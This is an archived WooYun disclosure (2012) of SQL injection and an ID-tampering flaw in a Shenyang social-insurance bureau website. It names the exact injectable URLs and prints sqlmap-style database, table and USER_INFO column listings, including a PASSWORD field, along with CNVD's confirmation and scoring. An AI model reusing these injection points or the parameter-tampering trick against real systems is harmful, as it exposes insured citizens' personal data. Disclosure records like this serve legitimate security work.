漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2012-07886
漏洞标题：沈阳市社会养老和工伤保险管理局存在注入漏洞
相关厂商：沈阳市社会养老和工伤保险管理局
漏洞作者： expdigger
提交时间：2012-06-05 12:45
修复时间：2012-07-20 12:46
公开时间：2012-07-20 12:46
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：10
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2012-06-05： 细节已通知厂商并且等待厂商处理中
2012-06-08： 厂商已经确认，细节仅向厂商公开
2012-06-18： 细节向核心白帽子及相关领域专家公开
2012-06-28： 细节向普通白帽子公开
2012-07-08： 细节向实习白帽子公开
2012-07-20： 细节向公众公开
简要描述：
此漏洞可泄漏参保人员信息，如果被利用对社会危害巨大！
详细说明：
注入点：http://www.ylbxglzx.cn/showinfoservlet?id=1666
另附：http://www.ylbxglzx.cn/yhdkjbxxsearchservlet?zgbh=62537968
修改url中zgbh内容可查看其他参保人员信息，造成信息泄漏。
漏洞证明：
available databases [21]:
[*] "@H"
[*] "OL@PSYS"
[*] "PMS@S"
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] HR
[*] IX
[*] MDSYS
[*] OE
[*] ORDSYH
[*] OTTLN
[*] PCORT
[*] PM
[*] SYS
[*] SYSB
[*] SYSMAN
[*] SYSTEM
[*] TSHSYS
[*] VDB
Database: SYSB
[38 tables]
+--------------------+
| CBQKJBXX |
| DEPARTMENT_INFO |
| DOCUMENTS_INFO |
| DWJBXX |
| DWK |
| GRBJK |
| GRJFJSK |
| GRJFLSK |
| GTDKK |
| GZK |
| HZJBXX |
| INFOALL |
| INFOOUT |
| JDK |
| KPXCDMB |
| LOGON_AUDIT_TABLE |
| NBCZYDMB |
| NEWS_INFO |
| NORMALQUESTION |
| PLAN_TABLE |
| REPLAYMESSAGE_INFO |
| SPGZK |
| SQK |
| USERMESSAGE_BACK |
| USERMESSAGE_INFO |
| USER_INFO |
| WSY_LTX_INTERNET |
| XNBDCB |
| XNB_HK_TEMP |
| YDTF |
| YHDK_ERR |
| YLJJZR |
| ZGCBXX |
| ZGCBXX_HJ |
| ZGCBXX_ZT |
| ZGDNYJFXX |
| ZGK |
| ZGNDJFXX |
+--------------------+
Database: SYSB
Table: USER_INFO
[5 columns]
+------------+----------+
| Column | Type |
+------------+----------+
| DEPARTMENT | VARCHAR2 |
| PASSWORD | VARCHAR2 |
| USERID | VARCHAR2 |
| USERNAME | VARCHAR2 |
| USERTYPE | VARCHAR2 |
+------------+----------+
以上信息请管理人员参考。
修复方案：
虽然有防火墙，但没有拦截Sql注入攻击，这个比较遗憾~
总之，尽快修改吧！
毕竟社保安全关系社会稳定，这个你们懂的。
版权声明：转载请注明来源 expdigger@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：10
确认时间：2012-06-08 08:31
厂商回复：
CNVD确认并复现所述情况，转由CNCERT辽宁分中心协调涉事单位处置。
对漏洞评分如下：
CVSS：(AV:R/AC:L/Au:NR/C:C/A:N/I:N/B:N) score:7.79（最高10分，高危）
即：远程攻击、攻击难度低、不需要用户认证，对机密性构成完全影响，暂不影响可用性和完整性。
技术难度系数：1.0
影响危害系数：1.3（较严重，涉及政府部门业务系统，存在信息泄露风险）
CNVD综合评分：7.79*1.0*1.3=10.127
最新状态：
暂无